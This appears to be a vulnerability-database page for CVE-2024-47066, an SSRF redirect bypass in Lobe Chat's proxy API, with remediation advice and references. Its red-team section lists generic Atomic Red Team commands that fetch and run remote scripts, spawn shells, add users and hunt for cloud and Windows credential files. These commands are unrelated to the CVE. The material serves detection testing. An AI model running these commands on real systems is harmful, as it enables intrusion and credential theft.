CVE-2024-47066
Overview
This vulnerability is a server-side request forgery (SSRF) rooted in improper validation of redirect URLs within the proxy routing logic of the lobehub lobe-chat application. Specifically, the protection mechanism in the src/app/api/proxy/route.ts component fails to account for HTTP redirects, allowing crafted external URLs to bypass filtering. The affected feature is the server-side proxy API responsible for forwarding requests, which does not adequately restrict redirection targets to safe destinations.
Vulnerability Description
Lobe Chat is an open-source artificial intelligence chat framework. Prior to version 1.19.13, server-side request forgery protection implemented in `src/app/api/proxy/route.ts` does not consider redirect and could be bypassed when attacker provides an external malicious URL which redirects to internal resources like a private network or loopback address. Version 1.19.13 contains an improved fix for the issue.
Impact
An attacker with high privileges can exploit this SSRF vulnerability to access internal network resources that are otherwise inaccessible, potentially retrieving sensitive data or interacting with internal services. The attack requires authenticated access to the proxy functionality, as indicated by the CVSS vector (PR:H), and no user interaction is needed. Successful exploitation may lead to data confidentiality breaches and service disruptions within the internal network environment, leveraging the proxy to circumvent network segmentation controls.
Solution
Users of lobehub lobe-chat should upgrade to version 1.19.13 or later, where the SSRF vulnerability is addressed by enhanced redirect validation in the proxy component. Detailed patch instructions and advisory information are available in the official GitHub security advisories GHSA-3fc8-2r3f-8wrg and GHSA-mxhq-xw3g-rphc. No alternative workarounds have been documented; applying the vendor-supplied patch is required to remediate this issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Lobe Chat framework arises from inadequate server-side request forgery (SSRF) protection, specifically in the handling of redirects within the API proxy. The implementation fails to properly validate URLs, allowing an attacker to craft a malicious request that points to an external URL. This external URL can then redirect to internal resources, such as private network addresses or loopback addresses. The flaw is particularly concerning because it can expose sensitive internal services that are typically shielded from external access. The issue was rectified in version 1.19.13, which introduced a more robust validation mechanism to prevent such bypasses.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could send a crafted request to the Lobe Chat server, including a URL that redirects to an internal service. For instance, if an internal service is accessible only from the local network, the attacker could gain unauthorized access to it by leveraging the SSRF flaw. This could lead to data exfiltration, unauthorized actions on internal systems, or even lateral movement within the network. The potential for exploitation is particularly high in environments where Lobe Chat is integrated with other critical services, as the attacker could exploit the trust relationships between these services.
The real-world impact of this vulnerability can be significant, especially for organizations that utilize Lobe Chat in sensitive or mission-critical applications. The risk extends beyond mere data exposure; it can lead to severe business consequences, including reputational damage, regulatory fines, and operational disruptions. For example, if an attacker were to access internal databases or APIs, they could extract sensitive user information or manipulate internal processes, leading to financial losses or breaches of compliance. The high CVSS score of 8.8 reflects the severity of the potential impact, emphasizing the need for immediate attention and remediation.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. First, it is crucial to update the Lobe Chat framework to the latest version, which includes the necessary security fixes. Regular patch management practices should be enforced to ensure that all software components are up to date. Additionally, organizations should conduct thorough security assessments, including penetration testing and code reviews, to identify any other potential vulnerabilities in their applications. Network segmentation can also help limit the exposure of internal services, reducing the risk of exploitation through SSRF attacks. Monitoring and logging of network traffic can provide insights into unusual request patterns that may indicate an attempted exploitation.
In conclusion, the SSRF vulnerability in the Lobe Chat framework poses a serious threat to organizations that rely on this open-source chat solution. The ability for an attacker to redirect requests to internal resources can lead to significant security breaches and operational risks. By understanding the technical details, potential attack vectors, and real-world implications, organizations can better prepare themselves to defend against such vulnerabilities. Implementing robust detection and mitigation strategies is essential to safeguard sensitive data and maintain the integrity of internal systems.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Lobehub | Lobe Chat | All |
cpe:2.3:a:lobehub:lobe_chat:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
l8BL/CVE-2024-47066
Proof-of-Concept for CVE-2024-47066
|
l8BL | 4 | 1 | 2024-09-24 | View |
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-664 | Server Side Request Forgery |
30%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-47066 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/lobehub/lobe-chat/security/advisories/GHSA-3fc8-2r3f-8wrg |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/lobehub/lobe-chat/security/advisories/GHSA-mxhq-xw3g-rphc |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/lobehub/lobe-chat/commit/e960a23b0c69a5762eb27d776d33dac443058faf |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/lobehub/lobe-chat/blob/main/src/app/api/proxy/route.ts |